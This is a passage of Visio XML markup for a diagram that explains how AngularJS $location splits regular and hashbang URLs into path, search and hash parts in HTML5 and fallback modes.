<LocPinY>0.1527777777777778</LocPinY> </XForm> <TextXForm> <TxtWidth F="Width*1.000000">3.055555555555555</TxtWidth> <TxtHeight F="Height*1.000000">0.3055555555555556</TxtHeight> <TxtAngle>-0</TxtAngle> </TextXForm> <Misc> <ObjType>1</ObjType> </Misc> <Line> <LinePattern>0</LinePattern> <LineWeight>0.0138889</LineWeight> <LineColor>0</LineColor> <LineColorTrans>0</LineColorTrans> <Rounding>0</Rounding> <LineCap>0</LineCap> </Line> <Fill> <FillPattern>0</FillPattern> <FillForegnd>#ffffff</FillForegnd> <FillForegndTrans>0</FillForegndTrans> <ShdwPattern>1</ShdwPattern> <ShdwForegnd>0</ShdwForegnd> <ShdwForegndTrans>0.5</ShdwForegndTrans> <ShapeShdwType>1</ShapeShdwType> <ShapeShdwOffsetX>0</ShapeShdwOffsetX> <ShapeShdwOffsetY>-0.0277778</ShapeShdwOffsetY> </Fill> <Geom IX="0"> <NoFill>0</NoFill> <NoLine>0</NoLine> <MoveTo IX="1"> <X F="Width*0.000000">0</X> <Y F="Height*1.000000">0.3055555555555556</Y> </MoveTo> <LineTo IX="2"> <X F="Width*1.000000">3.055555555555555</X> <Y F="Height*1.000000">0.3055555555555556</Y> </LineTo> <LineTo IX="3"> <X F="Width*1.000000">3.055555555555555</X> <Y F="Height*0.000000">0</Y> </LineTo> <LineTo IX="4"> <X F="Width*0.000000">0</X> <Y F="Height*0.000000">0</Y> </LineTo> <LineTo IX="5"> <X F="Width*0.000000">0</X> <Y F="Height*1.000000">0.3055555555555556</Y> </LineTo> </Geom> <LayerMem> <LayerMember>0</LayerMember> </LayerMem> <TextBlock> <LeftMargin>0.0694444</LeftMargin> <RightMargin>0.0694444</RightMargin> <VerticalAlign>2</VerticalAlign> <DefaultTabStop>0</DefaultTabStop> </TextBlock> <Char IX="0"> <Font>0</Font> <Color>0</Color> <Style>1</Style> <Size>0.166667</Size> <ColorTrans>0</ColorTrans> </Char> <Char IX="1"> <Font>0</Font> <Color>#8000ff</Color> <Style>1</Style> <Size>0.166667</Size> <ColorTrans>0</ColorTrans> </Char> <Char IX="2"> <Font>0</Font> <Color>0</Color> <Style>1</Style> <Size>0.166667</Size> <ColorTrans>0</ColorTrans> </Char> <Char IX="3"> <Font>0</Font> <Color>#408000</Color> <Style>1</Style> <Size>0.166667</Size> <ColorTrans>0</ColorTrans> </Char> <Char IX="4"> <Font>0</Font> <Color>#0000ff</Color> <Style>1</Style> <Size>0.166667</Size> <ColorTrans>0</ColorTrans> </Char> <Para IX="0"> <IndFirst>0</IndFirst> <IndLeft>0</IndLeft> <IndRight>-0</IndRight> <SpLine>-1.2</SpLine> <SpBefore>0</SpBefore> <HorzAlign>1</HorzAlign> </Para> <Text><cp IX="0"/><pp IX="0"/>http://foo.com<cp IX="1"/>/bar<cp IX="2"/>?<cp IX="3"/>baz=23#<cp IX="4"/>baz</Text> </Shape> <Shape ID="7" Type="Shape" Name="Rectangle No Fill No Fill.7"> <XForm> <Angle>-0</Angle> <PinX>3.319444444444445</PinX> <PinY>4.908849305555555</PinY> <Width>3.361111111111111</Width> <Height>0.2396347222222222</Height> <LocPinX>1.680555555555556</LocPinX> <LocPinY>0.1198173611111111</LocPinY> </XForm> <TextXForm> <TxtWidth F="Width*1.000000">3.361111111111111</TxtWidth> <TxtHeight F="Height*1.000000">0.2396347222222222</TxtHeight> <TxtAngle>-0</TxtAngle> </TextXForm> <Misc> <ObjType>1</ObjType> </Misc> <Line> <LinePattern>0</LinePattern> <LineWeight>0.0138889</LineWeight> <LineColor>0</LineColor> <LineColorTrans>0</LineColorTrans> <Rounding>0</Rounding> <LineCap>0</LineCap> </Line> <Fill> <FillPattern>0</FillPattern> <FillForegnd>#ffffff</FillForegnd> <FillForegndTrans>0</FillForegndTrans> <ShdwPattern>1</ShdwPattern> <ShdwForegnd>0</ShdwForegnd> <ShdwForegndTrans>0.5</ShdwForegndTrans> <ShapeShdwType>1</ShapeShdwType> <ShapeShdwOffsetX>0</ShapeShdwOffsetX> <ShapeShdwOffsetY>-0.0277778</ShapeShdwOffsetY> </Fill> <Geom IX="0"> <NoFill>0</NoFill> <NoLine>0</NoLine> <MoveTo IX="1"> <X F="Width*0.000000">0</X> <Y F="Height*1.000000">0.239634722222222</Y> </MoveTo> <LineTo IX="2"> <X F="Width*1.000000">3.361111111111111</X> <Y F="Height*1.000000">0.239634722222222</Y> </LineTo> <LineTo IX="3"> <X F="Width*1.000000">3.361111111111111</X> <Y F="Height*0.000000">0</Y> </LineTo> <LineTo IX="4"> <X F="Width*0.000000">0</X> <Y F="Height*0.000000">0</Y> </LineTo> <LineTo IX="5"> <X F="Width*0.000000">0</X> <Y F="Height*1.000000">0.239634722222222</Y> </LineTo> </Geom> <LayerMem> <LayerMember>0</LayerMember> </LayerMem> <TextBlock> <LeftMargin>0.0694444</LeftMargin> <RightMargin>0.0694444</RightMargin> <VerticalAlign>2</VerticalAlign> <DefaultTabStop>0</DefaultTabStop> </TextBlock> <Char IX="0"> <Font>0</Font> <Color>0</Color> <Style>1</Style> <Size>0.166667</Size> <ColorTrans>0</ColorTrans> </Char> <Char IX="1"> <Font>0</Font> <Color>#8000ff</Color> <Style>1</Style> <Size>0.166667</Size> <ColorTrans>0</ColorTrans> </Char> <Char IX="2"> <Font>0</Font> <Color>0</Color> <Style>1</Style> <Size>0.166667</Size> <ColorTrans>0</ColorTrans> </Char> <Char IX="3"> <Font>0</Font> <Color>#408000</Color> <Style>1</Style> <Size>0.166667</Size> <ColorTrans>0</ColorTrans> </Char> <Char IX="4"> <Font>0</Font> <Color>#0000ff</Color> <Style>1</Style> <Size>0.166667</Size> <ColorTrans>0</ColorTrans> </Char> <Para IX="0"> <IndFirst>0</IndFirst> <IndLeft>0</IndLeft> <IndRight>-0</IndRight> <SpLine>-1.2</SpLine> <SpBefore>0</SpBefore> <HorzAlign>1</HorzAlign> </Para> <Text><cp IX="0"/><pp IX="0"/>http://foo.com/#!<cp IX="1"/>/bar<cp IX="2"/>?<cp IX="3"/>baz=23#<cp IX="4"/>baz</Text> </Shape> <Shape ID="8" Type="Shape" Name="Rectangle No Fill No Fill.8"> <XForm> <Angle>-0</Angle> <PinX>1.5</PinX> <PinY>5.888888888888889</PinY> <Width>2</Width> <Height>0.3055555555555556</Height> <LocPinX>1</LocPinX> <LocPinY>0.1527777777777778</LocPinY> </XForm> <TextXForm> <TxtWidth F="Width*1.000000">2</TxtWidth> <TxtHeight F="Height*1.000000">0.3055555555555556</TxtHeight> <TxtAngle>-0</TxtAngle> </TextXForm> <Misc> <ObjType>1</ObjType> </Misc> <Line> <LinePattern>0</LinePattern> <LineWeight>0.0138889</LineWeight> <LineColor>0</LineColor> <LineColorTrans>0</LineColorTrans> <Rounding>0</Rounding> <LineCap>0</LineCap> </Line> <Fill> <FillPattern>0</FillPattern> <FillForegnd>#ffffff</FillForegnd> <FillForegndTrans>0</FillForegndTrans> <ShdwPattern>1</ShdwPattern> <ShdwForegnd>0</ShdwForegnd> <ShdwForegndTrans>0.5</ShdwForegndTrans> <ShapeShdwType>1</ShapeShdwType> <ShapeShdwOffsetX>0</ShapeShdwOffsetX> <ShapeShdwOffsetY>-0.0277778</ShapeShdwOffsetY> </Fill> <Geom IX="0"> <NoFill>0</NoFill> <NoLine>0</NoLine> <MoveTo IX="1"> <X F="Width*0.000000">0</X> <Y F="Height*1.000000">0.3055555555555556</Y> </MoveTo> <LineTo IX="2"> <X F="Width*1.000000">2</X> <Y F="Height*1.000000">0.3055555555555556</Y> </LineTo> <LineTo IX="3"> <X F="Width*1.000000">2</X> <Y F="Height*0.000000">0</Y> </LineTo> <LineTo IX="4"> <X F="Width*0.000000">0</X> <Y F="Height*0.000000">0</Y> </LineTo> <LineTo IX="5"> <X F="Width*0.000000">0</X> <Y F="Height*1.000000">0.3055555555555556</Y> </LineTo> </Geom> <LayerMem> <LayerMember>0</LayerMember> </LayerMem> <TextBlock> <LeftMargin>0.0694444</LeftMargin> <RightMargin>0.0694444</RightMargin> <VerticalAlign>2</VerticalAlign> <DefaultTabStop>0</DefaultTabStop> </TextBlock> <Char IX="0"> <Font>0</Font> <Color>0</Color> <Style>1</Style> <Size>0.166667</Size> <ColorTrans>0</ColorTrans> </Char> <Char IX="1"> <Font>0</Font> <Color>#8000ff</Color> <Style>1</Style> <Size>0.166667</Size> <ColorTrans>0</ColorTrans> </Char> <Para IX="0"> <IndFirst>0</IndFirst> <IndLeft>0</IndLeft> <IndRight>-0</IndRight> <SpLine>-1.2</SpLine> <SpBefore>0</SpBefore> <HorzAlign>1</HorzAlign> </Para> <Text><cp IX="0"/><pp IX="0"/>$location.<cp IX="1"/>path()</Text> </Shape> <Shape ID="9" Type="Shape" Name="Line Curved, Stroke:Obsidian.9"> <XForm> <Angle>-0</Angle> <PinX>4.201388888888889</PinX> <PinY>6.243055555555555</PinY> <Width>0.01388888888888889</Width> <Height>0.4583333333333333</Height> <LocPinX>0.006944444444444444</LocPinX> <LocPinY>0.2291666666666667</LocPinY> </XForm> <XForm1D> <BeginX>4.19444444444444</BeginX> <BeginY>6.47222222222222</BeginY> <EndX>4.19444444444444</EndX> <EndY>6.01388888888889</EndY> </XForm1D> <Layout> <ConLineJumpCode>4</ConLineJumpCode> <ConLineJumpStyle>0</ConLineJumpStyle> <ShapeRouteStyle>0</ShapeRouteStyle> <ConFixedCode>2</ConFixedCode> <ConLineRouteExt>2</ConLineRouteExt> </Layout> <TextXForm> <TxtWidth F="Width*1.000000">0.01388888888888889</TxtWidth> <TxtHeight F="Height*1.000000">0.4583333333333333</TxtHeight> <TxtAngle>-0</TxtAngle> </TextXForm> <Misc> <ObjType>2</ObjType> </Misc> <Line> <LinePattern>1</LinePattern> <LineWeight>0.0138889</LineWeight> <LineColor>0</LineColor> <LineColorTrans>0</LineColorTrans> <Rounding>0</Rounding> <LineCap>0</LineCap> <BeginArrow>4</BeginArrow> <BeginArrowSize>2</BeginArrowSize> </Line> <Fill> <FillPattern>0</FillPattern> <FillForegnd>0</FillForegnd> <FillForegndTrans>0</FillForegndTrans> <ShdwPattern>0</ShdwPattern> <ShdwForegnd>0</ShdwForegnd> <ShdwForegndTrans>0.5</ShdwForegndTrans> <ShapeShdwType>1</ShapeShdwType> <ShapeShdwOffsetX>0</ShapeShdwOffsetX> <ShapeShdwOffsetY>-0.0277778</ShapeShdwOffsetY> </Fill> <Geom IX="0"> <NoFill>1</NoFill> <NoLine>0</NoLine> <MoveTo IX="1"> <X F="Width*0.000000">0</X> <Y F="Height*1.000000">0.4583333333333333</Y> </MoveTo> <LineTo IX="2"> <X F="Width*0.000000">0</X> <Y F="Height*0.000000">0</Y> </LineTo> </Geom> <LayerMem> <LayerMember>0</LayerMember> </LayerMem> </Shape> <Shape ID="10" Type="Shape" Name="Line Curved, Stroke:Obsidian.10"> <XForm> <Angle>-0</Angle> <PinX>2.819444444444445</PinX> <PinY>5.312944444444444</PinY> <Width>1.5</Width> <Height>0.5685555555555557</Height> <LocPinX>0.75</LocPinX> <LocPinY>0.2842777777777779</LocPinY> </XForm> <XForm1D> <BeginX>3.56944444444444</BeginX> <BeginY>5.02866666666667</BeginY> <EndX>2.06944444444444</EndX> <EndY>5.59722222222222</EndY> </XForm1D> <Layout> <ConLineJumpCode>4</ConLineJumpCode> <ConLineJumpStyle>0</ConLineJumpStyle> <ShapeRouteStyle>0</ShapeRouteStyle> <ConFixedCode>2</ConFixedCode> <ConLineRouteExt>2</ConLineRouteExt> </Layout> <TextXForm> <TxtWidth F="Width*1.000000">1.5</TxtWidth> <TxtHeight F="Height*1.000000">0.5685555555555557</TxtHeight> <TxtAngle>-0</TxtAngle> </TextXForm> <Misc> <ObjType>2</ObjType> </Misc> <Line> <LinePattern>1</LinePattern> <LineWeight>0.0138889</LineWeight> <LineColor>0</LineColor> <LineColorTrans>0</LineColorTrans> <Rounding>0</Rounding> <LineCap>0</LineCap> <BeginArrow>4</BeginArrow> <BeginArrowSize>2</BeginArrowSize> </Line> <Fill> <FillPattern>0</FillPattern> <FillForegnd>0</FillForegnd> <FillForegndTrans>0</FillForegndTrans> <ShdwPattern>0</ShdwPattern> <ShdwForegnd>0</ShdwForegnd> <ShdwForegndTrans>0.5</ShdwForegndTrans> <ShapeShdwType>1</ShapeShdwType> <ShapeShdwOffsetX>0</ShapeShdwOffsetX> <ShapeShdwOffsetY>-0.0277778</ShapeShdwOffsetY> </Fill> <Geom IX="0"> <NoFill>1</NoFill> <NoLine>0</NoLine> <MoveTo IX="1"> <X F="Width*1.000000">1.5</X> <Y F="Height*0.000000">3.947459643111667e-16</Y> </MoveTo> <LineTo IX="2"> <X F="Width*0.000000">0</X> <Y F="Height*1.000000">0.568555555555556</Y> </LineTo> </Geom> <LayerMem> <LayerMember>0</LayerMember> </LayerMem> </Shape> <Shape ID="11" Type="Shape" Name="Rectangle No Fill No Fill.11"> <XForm> <Angle>-0</Angle> <PinX>3.819444444444445</PinX> <PinY>5.888888888888889</PinY> <Width>2</Width> <Height>0.3055555555555556</Height> <LocPinX>1</LocPinX> <LocPinY>0.1527777777777778</LocPinY> </XForm> <TextXForm> <TxtWidth F="Width*1.000000">2</TxtWidth> <TxtHeight F="Height*1.000000">0.3055555555555556</TxtHeight> <TxtAngle>-0</TxtAngle> </TextXForm> <Misc> <ObjType>1</ObjType> </Misc> <Line> <LinePattern>0</LinePattern> <LineWeight>0.0138889</LineWeight> <LineColor>0</LineColor> <LineColorTrans>0</LineColorTrans> <Rounding>0</Rounding> <LineCap>0</LineCap> </Line> <Fill> <FillPattern>0</FillPattern> <FillForegnd>#ffffff</FillForegnd> <FillForegndTrans>0</FillForegndTrans> <ShdwPattern>1</ShdwPattern> <ShdwForegnd>0</ShdwForegnd> <ShdwForegndTrans>0.5</ShdwForegndTrans> <ShapeShdwType>1</ShapeShdwType> <ShapeShdwOffsetX>0</ShapeShdwOffsetX> <ShapeShdwOffsetY>-0.0277778</ShapeShdwOffsetY> </Fill> <Geom IX="0"> <NoFill>0</NoFill> <NoLine>0</NoLine> <MoveTo IX="1"> <X F="Width*0.000000">0</X> <Y F="Height*1.000000">0.3055555555555556</Y> </MoveTo> <LineTo IX="2"> <X F="Width*1.000000">2</X> <Y F="Height*1.000000">0.3055555555555556</Y> </LineTo> <LineTo IX="3"> <X F="Width*1.000000">2</X> <Y F="Height*0.000000">0</Y> </LineTo> <LineTo IX="4"> <X F="Width*0.000000">0</X> <Y F="Height*0.000000">0</Y> </LineTo> <LineTo IX="5"> <X F="Width*0.000000">0</X> <Y F="Height*1.000000">0.3055555555555556</Y> </LineTo> </Geom> <LayerMem> <LayerMember>0</LayerMember> </LayerMem> <TextBlock> <LeftMargin>0.0694444</LeftMargin> <RightMargin>0.0694444</RightMargin> <VerticalAlign>2</VerticalAlign> <DefaultTabStop>0</DefaultTabStop> </TextBlock> <Char IX="0"> <Font>0</Font> <Color>0</Color> <Style>1</Style> <Size>0.166667</Size> <ColorTrans>0</ColorTrans> </Char> <Char IX="1"> <Font>0</Font> <Color>#408000</Color> <Style>1</Style> <Size>0.166667</Size> <ColorTrans>0</ColorTrans> </Char> <Para IX="0"> <IndFirst>0</IndFirst> <IndLeft>0</IndLeft> <IndRight>-0</IndRight> <SpLine>-1.2</SpLine> <SpBefore>0</SpBefore> <HorzAlign>1</HorzAlign> </Para> <Text><cp IX="0"/><pp IX="0"/>$location.<cp IX="1"/>search()</Text> </Shape> <Shape ID="12" Type="Shape" Name="Line Curved, Stroke:Obsidian.12"> <XForm> <Angle>-0</Angle> <PinX>4.201388888888889</PinX> <PinY>5.368055555555555</PinY> <Width>0.01388888888888889</Width> <Height>0.4583333333333333</Height> <LocPinX>0.006944444444444444</LocPinX> <LocPinY>0.2291666666666667</LocPinY> </XForm> <XForm1D> <BeginX>4.19444444444444</BeginX> <BeginY>5.13888888888889</BeginY> <EndX>4.19444444444444</EndX> <EndY>5.59722222222222</EndY> </XForm1D> <Layout> <ConLineJumpCode>4</ConLineJumpCode> <ConLineJumpStyle>0</ConLineJumpStyle> <ShapeRouteStyle>0</ShapeRouteStyle> <ConFixedCode>2</ConFixedCode> <ConLineRouteExt>2</ConLineRouteExt> </Layout> <TextXForm> <TxtWidth F="Width*1.000000">0.01388888888888889</TxtWidth> <TxtHeight F="Height*1.000000">0.4583333333333333</TxtHeight> <TxtAngle>-0</TxtAngle> </TextXForm> <Misc> <ObjType>2</ObjType> </Misc> <Line> <LinePattern>1</LinePattern> <LineWeight>0.0138889</LineWeight> <LineColor>0</LineColor> <LineColorTrans>0</LineColorTrans> <Rounding>0</Rounding> <LineCap>0</LineCap> <BeginArrow>4</BeginArrow> <BeginArrowSize>2</BeginArrowSize> </Line> <Fill> <FillPattern>0</FillPattern> <FillForegnd>0</FillForegnd> <FillForegndTrans>0</FillForegndTrans> <ShdwPattern>0</ShdwPattern> <ShdwForegnd>0</ShdwForegnd> <ShdwForegndTrans>0.5</ShdwForegndTrans> <ShapeShdwType>1</ShapeShdwType> <ShapeShdwOffsetX>0</ShapeShdwOffsetX> <ShapeShdwOffsetY>-0.0277778</ShapeShdwOffsetY> </Fill> <Geom IX="0"> <NoFill>1</NoFill> <NoLine>0</NoLine> <MoveTo IX="1"> <X F="Width*0.000000">0</X> <Y F="Height*0.000000">0</Y> </MoveTo> <LineTo IX="2"> <X F="Width*0.000000">0</X> <Y F="Height*1.000000">0.4583333333333333</Y> </LineTo> </Geom> <LayerMem> <LayerMember>0</LayerMember> </LayerMem> </Shape> <Shape ID="13" Type="Shape" Name="Rectangle No Fill No Fill.13"> <XForm> <Angle>-0</Angle> <PinX>0.8402777777777778</PinX> <PinY>4.902777777777778</PinY> <Width>1.291666666666667</Width> <Height>0.2222222222222222</Height> <LocPinX>0.6458333333333334</LocPinX> <LocPinY>0.1111111111111111</LocPinY> </XForm> <TextXForm> <TxtWidth F="Width*1.000000">1.291666666666667</TxtWidth> <TxtHeight F="Height*1.000000">0.2222222222222222</TxtHeight> <TxtAngle>-0</TxtAngle> </TextXForm> <Misc> <ObjType>1</ObjType> </Misc> <Line> <LinePattern>0</LinePattern> <LineWeight>0.0138889</LineWeight> <LineColor>0</LineColor> <LineColorTrans>0</LineColorTrans> <Rounding>0</Rounding> <LineCap>0</LineCap> </Line> <Fill> <FillPattern>0</FillPattern> <FillForegnd>#ffffff</FillForegnd> <FillForegndTrans>0</FillForegndTrans> <ShdwPattern>0</ShdwPattern> <ShdwForegnd>0</ShdwForegnd> <ShdwForegndTrans>0.5</ShdwForegndTrans> <ShapeShdwType>1</ShapeShdwType> <ShapeShdwOffsetX>0</ShapeShdwOffsetX> <ShapeShdwOffsetY>-0.0277778</ShapeShdwOffsetY> </Fill> <Geom IX="0"> <NoFill>0</NoFill> <NoLine>0</NoLine> <MoveTo IX="1"> <X F="Width*0.000000">0</X> <Y F="Height*1.000000">0.2222222222222222</Y> </MoveTo> <LineTo IX="2"> <X F="Width*1.000000">1.291666666666667</X> <Y F="Height*1.000000">0.2222222222222222</Y> </LineTo> <LineTo IX="3"> <X F="Width*1.000000">1.291666666666667</X> <Y F="Height*0.000000">0</Y> </LineTo> <LineTo IX="4"> <X F="Width*0.000000">0</X> <Y F="Height*0.000000">0</Y> </LineTo> <LineTo IX="5"> <X F="Width*0.000000">0</X> <Y F="Height*1.000000">0.2222222222222222</Y> </LineTo> </Geom> <LayerMem> <LayerMember>0</LayerMember> </LayerMem> <TextBlock> <LeftMargin>0</LeftMargin> <RightMargin>0</RightMargin> <VerticalAlign>1</VerticalAlign> <DefaultTabStop>0</DefaultTabStop> </TextBlock> <Char IX="0"> <Font>1</Font> <Color>0</Color> <Style>0</Style> <Size>0.180556</Size> <ColorTrans>0</ColorTrans> </Char> <Para IX="0"> <IndFirst>0</IndFirst> <IndLeft>0</IndLeft> <IndRight>-0</IndRight> <SpLine>-1.2</SpLine> <SpBefore>0</SpBefore> <HorzAlign>1</HorzAlign> </Para> <Text><cp IX="0"/><pp IX="0"/>Hashbang URL:</Text> </Shape> <Shape ID="14" Type="Shape" Name="Rectangle No Fill No Fill.14"> <XForm> <Angle>-0</Angle> <PinX>0.7430555555555556</PinX> <PinY>6.720504166666667</PinY> <Width>1.097222222222222</Width> <Height>0.2222222222222222</Height> <LocPinX>0.5486111111111112</LocPinX> <LocPinY>0.1111111111111111</LocPinY> </XForm> <TextXForm> <TxtWidth F="Width*1.000000">1.097222222222222</TxtWidth> <TxtHeight F="Height*1.000000">0.2222222222222222</TxtHeight> <TxtAngle>-0</TxtAngle> </TextXForm> <Misc> <ObjType>1</ObjType> </Misc> <Line> <LinePattern>0</LinePattern> <LineWeight>0.0138889</LineWeight> <LineColor>0</LineColor> <LineColorTrans>0</LineColorTrans> <Rounding>0</Rounding> <LineCap>0</LineCap> </Line> <Fill> <FillPattern>0</FillPattern> <FillForegnd>#ffffff</FillForegnd> <FillForegndTrans>0</FillForegndTrans> <ShdwPattern>0</ShdwPattern> <ShdwForegnd>0</ShdwForegnd> <ShdwForegndTrans>0.5</ShdwForegndTrans> <ShapeShdwType>1</ShapeShdwType> <ShapeShdwOffsetX>0</ShapeShdwOffsetX> <ShapeShdwOffsetY>-0.0277778</ShapeShdwOffsetY> </Fill> <Geom IX="0"> <NoFill>0</NoFill> <NoLine>0</NoLine> <MoveTo IX="1"> <X F="Width*0.000000">0</X> <Y F="Height*1.000000">0.2222222222222222</Y> </MoveTo> <LineTo IX="2"> <X F="Width*1.000000">1.097222222222222</X> <Y F="Height*1.000000">0.2222222222222222</Y> </LineTo> <LineTo IX="3"> <X F="Width*1.000000">1.097222222222222</X> <Y F="Height*0.000000">0</Y> </LineTo> <LineTo IX="4"> <X F="Width*0.000000">0</X> <Y F="Height*0.000000">0</Y> </LineTo> <LineTo IX="5"> <X F="Width*0.000000">0</X> <Y F="Height*1.000000">0.2222222222222222</Y> </LineTo> </Geom> <LayerMem> <LayerMember>0</LayerMember> </LayerMem> <TextBlock> <LeftMargin>0</LeftMargin> <RightMargin>0</RightMargin> <VerticalAlign>1</VerticalAlign> <DefaultTabStop>0</DefaultTabStop> </TextBlock> <Char IX="0"> <Font>1</Font> <Color>0</Color> <Style>0</Style> <Size>0.180556</Size> <ColorTrans>0</ColorTrans> </Char> <Para IX="0"> <IndFirst>0</IndFirst> <IndLeft>0</IndLeft> <IndRight>-0</IndRight> <SpLine>-1.2</SpLine> <SpBefore>0</SpBefore> <HorzAlign>1</HorzAlign> </Para> <Text><cp IX="0"/><pp IX="0"/>Regular URL:</Text> </Shape> <Shape ID="15" Type="Shape" Name="Rectangle No Fill No Fill.15"> <XForm> <Angle>-0</Angle> <PinX>4.201388888888889</PinX> <PinY>7.319444444444445</PinY> <Width>1.555555555555556</Width> <Height>0.3055555555555556</Height> <LocPinX>0.7777777777777778</LocPinX> <LocPinY>0.1527777777777778</LocPinY> </XForm> <TextXForm> <TxtWidth F="Width*1.000000">1.555555555555556</TxtWidth> <TxtHeight F="Height*1.000000">0.3055555555555556</TxtHeight> <TxtAngle>-0</TxtAngle> </TextXForm> <Misc> <ObjType>1</ObjType> </Misc> <Line> <LinePattern>0</LinePattern> <LineWeight>0.0138889</LineWeight> <LineColor>0</LineColor> <LineColorTrans>0</LineColorTrans> <Rounding>0</Rounding> <LineCap>0</LineCap> </Line> <Fill> <FillPattern>0</FillPattern> <FillForegnd>#ffffff</FillForegnd> <FillForegndTrans>0</FillForegndTrans> <ShdwPattern>0</ShdwPattern> <ShdwForegnd>0</ShdwForegnd> <ShdwForegndTrans>0.5</ShdwForegndTrans> <ShapeShdwType>1</ShapeShdwType> <ShapeShdwOffsetX>0</ShapeShdwOffsetX> <ShapeShdwOffsetY>-0.0277778</ShapeShdwOffsetY> </Fill> <Geom IX="0"> <NoFill>0</NoFill> <NoLine>0</NoLine> <MoveTo IX="1"> <X F="Width*0.000000">0</X> <Y F="Height*1.000000">0.3055555555555556</Y> </MoveTo> <LineTo IX="2"> <X F="Width*1.000000">1.555555555555556</X> <Y F="Height*1.000000">0.3055555555555556</Y> </LineTo> <LineTo IX="3"> <X F="Width*1.000000">1.555555555555556</X> <Y F="Height*0.000000">0</Y> </LineTo> <LineTo IX="4"> <X F="Width*0.000000">0</X> <Y F="Height*0.000000">0</Y> </LineTo> <LineTo IX="5"> <X F="Width*0.000000">0</X> <Y F="Height*1.000000">0.3055555555555556</Y> </LineTo> </Geom> <LayerMem> <LayerMember>0</LayerMember> </LayerMem> <TextBlock> <LeftMargin>0</LeftMargin> <RightMargin>0</RightMargin> <VerticalAlign>1</VerticalAlign> <DefaultTabStop>0</DefaultTabStop> </TextBlock> <Char IX="0"> <Font>1</Font> <Color>0</Color> <Style>1</Style> <Size>0.25</Size> <ColorTrans>0</ColorTrans> </Char> <Para IX="0"> <IndFirst>0</IndFirst> <IndLeft>0</IndLeft> <IndRight>-0</IndRight> <SpLine>-1.2</SpLine> <SpBefore>0</SpBefore> <HorzAlign>1</HorzAlign> </Para> <Text><cp IX="0"/><pp IX="0"/>HTML5 Mode</Text> </Shape> <Shape ID="16" Type="Shape" Name="Rectangle No Fill No Fill.16"> <XForm> <Angle>-0</Angle> <PinX>4.201388888888889</PinX> <PinY>4.039916666666667</PinY> <Width>2.805555555555555</Width> <Height>0.6111111111111112</Height> <LocPinX>1.402777777777778</LocPinX> <LocPinY>0.3055555555555556</LocPinY> </XForm> <TextXForm> <TxtWidth F="Width*1.000000">2.805555555555555</TxtWidth> <TxtHeight F="Height*1.000000">0.6111111111111112</TxtHeight> <TxtAngle>-0</TxtAngle> </TextXForm> <Misc> <ObjType>1</ObjType> </Misc> <Line> <LinePattern>0</LinePattern> <LineWeight>0.0138889</LineWeight> <LineColor>0</LineColor> <LineColorTrans>0</LineColorTrans> <Rounding>0</Rounding> <LineCap>0</LineCap> </Line> <Fill> <FillPattern>0</FillPattern> <FillForegnd>#ffffff</FillForegnd> <FillForegndTrans>0</FillForegndTrans> <ShdwPattern>0</ShdwPattern> <ShdwForegnd>0</ShdwForegnd> <ShdwForegndTrans>0.5</ShdwForegndTrans> <ShapeShdwType>1</ShapeShdwType> <ShapeShdwOffsetX>0</ShapeShdwOffsetX> <ShapeShdwOffsetY>-0.0277778</ShapeShdwOffsetY> </Fill> <Geom IX="0"> <NoFill>0</NoFill> <NoLine>0</NoLine> <MoveTo IX="1"> <X F="Width*0.000000">0</X> <Y F="Height*1.000000">0.6111111111111112</Y> </MoveTo> <LineTo IX="2"> <X F="Width*1.000000">2.805555555555555</X> <Y F="Height*1.000000">0.6111111111111112</Y> </LineTo> <LineTo IX="3"> <X F="Width*1.000000">2.805555555555555</X> <Y F="Height*0.000000">0</Y> </LineTo> <LineTo IX="4"> <X F="Width*0.000000">0</X> <Y F="Height*0.000000">0</Y> </LineTo> <LineTo IX="5"> <X F="Width*0.000000">0</X> <Y F="Height*1.000000">0.6111111111111112</Y> </LineTo> </Geom> <LayerMem> <LayerMember>0</LayerMember> </LayerMem> <TextBlock> <LeftMargin>0</LeftMargin> <RightMargin>0</RightMargin> <VerticalAlign>1</VerticalAlign> <DefaultTabStop>0</DefaultTabStop> </TextBlock> <Char IX="0"> <Font>1</Font> <Color>0</Color> <Style>1</Style> <Size>0.25</Size> <ColorTrans>0</ColorTrans> </Char> <Para IX="0"> <IndFirst>0</IndFirst> <IndLeft>0</IndLeft> <IndRight>-0</IndRight> <SpLine>-1.2</SpLine> <SpBefore>0</SpBefore> <HorzAlign>1</HorzAlign> </Para> <Text><cp IX="0"/><pp IX="0"/>Hashbang Mode (HTML5 Fallback Mode)</Text> </Shape> <Shape ID="17" Type="Shape" Name="Rectangle Fill:Chalk.17"> <XForm> <Angle>-0</Angle> <PinX>6.25</PinX> <PinY>5.763888888888889</PinY> <Width>2</Width> <Height>0.7222222222222222</Height> <LocPinX>1</LocPinX> <LocPinY>0.3611111111111111</LocPinY> </XForm> <TextXForm> <TxtWidth F="Width*1.000000">2</TxtWidth> <TxtHeight F="Height*0.807692">0.5833333333333334</TxtHeight> <TxtAngle>-0</TxtAngle> </TextXForm> <Misc> <ObjType>1</ObjType> </Misc> <Line> <LinePattern>0</LinePattern> <LineWeight>0.0138889</LineWeight> <LineColor>0</LineColor> <LineColorTrans>0</LineColorTrans> <Rounding>0</Rounding> <LineCap>0</LineCap> </Line> <Fill> <FillPattern>1</FillPattern> <FillForegnd>#ffffff</FillForegnd> <FillForegndTrans>0</FillForegndTrans> <ShdwPattern>0</ShdwPattern> <ShdwForegnd>0</ShdwForegnd> <ShdwForegndTrans>0.5</ShdwForegndTrans> <ShapeShdwType>1</ShapeShdwType> <ShapeShdwOffsetX>0</ShapeShdwOffsetX> <ShapeShdwOffsetY>-0.0277778</ShapeShdwOffsetY> </Fill> <Geom IX="0"> <NoFill>0</NoFill> <NoLine>0</NoLine> <MoveTo IX="1"> <X F="Width*0.000000">0</X> <Y F="Height*1.000000">0.7222222222222222</Y> </MoveTo> <LineTo IX="2"> <X F="Width*1.000000">2</X> <Y F="Height*1.000000">0.7222222222222222</Y> </LineTo> <LineTo IX="3"> <X F="Width*1.000000">2</X> <Y F="Height*0.000000">0</Y> </LineTo> <LineTo IX="4"> <X F="Width*0.000000">0</X> <Y F="Height*0.000000">0</Y> </LineTo> <LineTo IX="5"> <X F="Width*0.000000">0</X> <Y F="Height*1.000000">0.7222222222222222</Y> </LineTo> </Geom> <LayerMem> <LayerMember>0</LayerMember> </LayerMem> </Shape> <Shape ID="18" Type="Shape" Name="Rectangle No Fill No Fill.18"> <XForm> <Angle>-0</Angle> <PinX>6.194444444444445</PinX> <PinY>5.888888888888889</PinY> <Width>2</Width> <Height>0.3055555555555556</Height> <LocPinX>1</LocPinX> <LocPinY>0.1527777777777778</LocPinY> </XForm> <TextXForm> <TxtWidth 